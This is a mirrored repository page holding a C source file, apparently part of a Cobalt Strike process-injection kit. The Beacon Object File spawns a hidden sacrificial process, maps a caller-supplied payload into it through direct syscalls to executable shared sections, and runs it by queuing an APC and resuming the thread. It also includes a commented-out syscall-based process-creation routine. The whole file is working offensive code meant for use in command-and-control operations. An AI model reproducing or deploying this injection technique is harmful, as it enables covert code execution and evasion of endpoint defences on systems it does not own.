mirror of
https://github.com/vgeorgiev90/CB_process_Inject
synced 2026-06-08 18:03:18 +00:00
47400e17a7
Initial commit for cobalt strike process injection kit
248 lines
6.6 KiB
C
248 lines
6.6 KiB
C
#include <windows.h>
|
|
#include "beacon.h"
|
|
#include "syscalls.c"
|
|
|
|
/* is this an x64 BOF */
|
|
BOOL is_x64() {
|
|
#if defined _M_X64
|
|
return TRUE;
|
|
#elif defined _M_IX86
|
|
return FALSE;
|
|
#endif
|
|
}
|
|
|
|
//Custom process creation with syscalls
|
|
typedef struct {
|
|
HANDLE hProcess;
|
|
HANDLE hThread;
|
|
} ProcHands;
|
|
|
|
ProcHands CreateProc(
|
|
const char *proc,
|
|
const char *cwd,
|
|
const char *cl)
|
|
{
|
|
ProcHands handles;
|
|
//Attempt to spawn our own process
|
|
UNICODE_STRING NtImagePath, CurrentDirectory, CommandLine;
|
|
NTDLL$RtlInitUnicodeString(&NtImagePath, (PWSTR)proc);
|
|
NTDLL$RtlInitUnicodeString(&CurrentDirectory, (PWSTR)cwd);
|
|
NTDLL$RtlInitUnicodeString(&CommandLine, (PWSTR)cl);
|
|
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
|
|
|
|
NTSTATUS status = NTDLL$RtlCreateProcessParametersEx(
|
|
&ProcessParameters,
|
|
&NtImagePath,
|
|
NULL,
|
|
&CurrentDirectory,
|
|
&CommandLine,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "RtlCreateProcessParametersEx failed with error code: 0x%X", status);
|
|
return;
|
|
}
|
|
|
|
PS_CREATE_INFO CreateInfo = { 0 };
|
|
CreateInfo.Size = sizeof(CreateInfo);
|
|
CreateInfo.State = PsCreateInitialState;
|
|
|
|
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)NTDLL$RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE)*3);
|
|
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
|
|
|
|
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
|
|
AttributeList->Attributes[0].Size = NtImagePath.Length;
|
|
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
|
|
|
|
status = NtCreateUserProcess(
|
|
&handles.hProcess,
|
|
&handles.hThread,
|
|
PROCESS_ALL_ACCESS,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
NULL,
|
|
PROCESS_CREATE_FLAGS_SUSPENDED, //proc flags
|
|
THREAD_CREATE_FLAGS_CREATE_SUSPENDED, //thread flags
|
|
ProcessParameters,
|
|
&CreateInfo,
|
|
AttributeList);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtCreateUserProcess failed with error code: 0x%X", status);
|
|
return;
|
|
}
|
|
// Clean up
|
|
NTDLL$RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
|
|
NTDLL$RtlDestroyProcessParameters(ProcessParameters);
|
|
return handles;
|
|
}
|
|
|
|
/* See gox86 and gox64 entry points */
|
|
void go(char * args, int alen, BOOL x86) {
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
datap parser;
|
|
short ignoreToken;
|
|
char * dllPtr;
|
|
int dllLen;
|
|
|
|
/* Warn about crossing to another architecture. */
|
|
if (!is_x64() && x86 == FALSE) {
|
|
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
|
|
}
|
|
if (is_x64() && x86 == TRUE) {
|
|
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
|
|
}
|
|
|
|
/* Extract the arguments */
|
|
BeaconDataParse(&parser, args, alen);
|
|
ignoreToken = BeaconDataShort(&parser);
|
|
dllPtr = BeaconDataExtract(&parser, &dllLen);
|
|
|
|
/* zero out these data structures */
|
|
__stosb((void *)&si, 0, sizeof(STARTUPINFO));
|
|
__stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));
|
|
|
|
//attributes for section create
|
|
OBJECT_ATTRIBUTES oattr;
|
|
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
|
|
|
|
/* setup the other values in our startup info structure */
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
si.wShowWindow = SW_HIDE;
|
|
si.cb = sizeof(STARTUPINFO);
|
|
|
|
/* Ready to go: spawn, inject and cleanup */
|
|
if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
|
|
BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
|
|
return;
|
|
}
|
|
|
|
/*
|
|
//Attempt to spawn our own process
|
|
ProcHands handles = CreateProc(
|
|
L"\\??\\C:\\Windows\\System32\\cmd.exe",
|
|
L"C:\\Windows\\System32",
|
|
L"\"C:\\Windows\\System32\\cmd.exe /path/to/param.txt\""
|
|
);
|
|
*/
|
|
|
|
//NtCreateSection
|
|
HANDLE shand;
|
|
LARGE_INTEGER sc_size = { dllLen };
|
|
|
|
NTSTATUS status = NtCreateSection(
|
|
&shand,
|
|
SECTION_ALL_ACCESS,
|
|
&oattr,
|
|
&sc_size,
|
|
PAGE_EXECUTE_READWRITE,
|
|
SEC_COMMIT,
|
|
NULL
|
|
);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
|
|
BeaconCleanupProcess(&pi);
|
|
return;
|
|
}
|
|
|
|
//NtMapViewOfSection to local process
|
|
PVOID local_mem = NULL;
|
|
SIZE_T vSize = 0;
|
|
|
|
status = NtMapViewOfSection(
|
|
shand,
|
|
KERNEL32$GetCurrentProcess(),
|
|
&local_mem,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&vSize,
|
|
2,
|
|
NULL,
|
|
PAGE_READWRITE
|
|
);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
|
|
NtClose(shand);
|
|
BeaconCleanupProcess(&pi);
|
|
return;
|
|
}
|
|
|
|
mymemcopy(local_mem, dllPtr, dllLen);
|
|
|
|
//NtMapViewOfSection to the sacrifical process
|
|
PVOID remote_mem = NULL;
|
|
|
|
status = NtMapViewOfSection(
|
|
shand,
|
|
pi.hProcess,
|
|
&remote_mem,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&vSize,
|
|
2,
|
|
NULL,
|
|
PAGE_EXECUTE_READ
|
|
);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
|
|
NtClose(shand);
|
|
BeaconCleanupProcess(&pi);
|
|
return;
|
|
}
|
|
|
|
//Queue APC on the main thread
|
|
status = NtQueueApcThread(
|
|
pi.hThread,
|
|
(PIO_APC_ROUTINE)remote_mem,
|
|
NULL,
|
|
NULL,
|
|
NULL
|
|
);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtQueueApcThread failed with error code: 0x%X", status);
|
|
NtClose(shand);
|
|
BeaconCleanupProcess(&pi);
|
|
return;
|
|
}
|
|
|
|
//Set the thread in alerted state so the APC can be executed
|
|
status = NtAlertThread(pi.hThread);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtAlertThread failed with error code: 0x%X", status);
|
|
NtClose(shand);
|
|
BeaconCleanupProcess(&pi);
|
|
return;
|
|
}
|
|
|
|
status = NtResumeThread(pi.hThread, NULL);
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "NtResumeThread failed with error code: 0x%X", status);
|
|
}
|
|
|
|
//Unmap the created section from the local process
|
|
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
|
|
if (status != STATUS_SUCCESS) {
|
|
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
|
|
return;
|
|
}
|
|
|
|
//BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
|
|
NtClose(shand);
|
|
BeaconCleanupProcess(&pi);
|
|
}
|
|
|
|
void gox86(char * args, int alen) {
|
|
go(args, alen, TRUE);
|
|
}
|
|
|
|
void gox64(char * args, int alen) {
|
|
go(args, alen, FALSE);
|
|
} |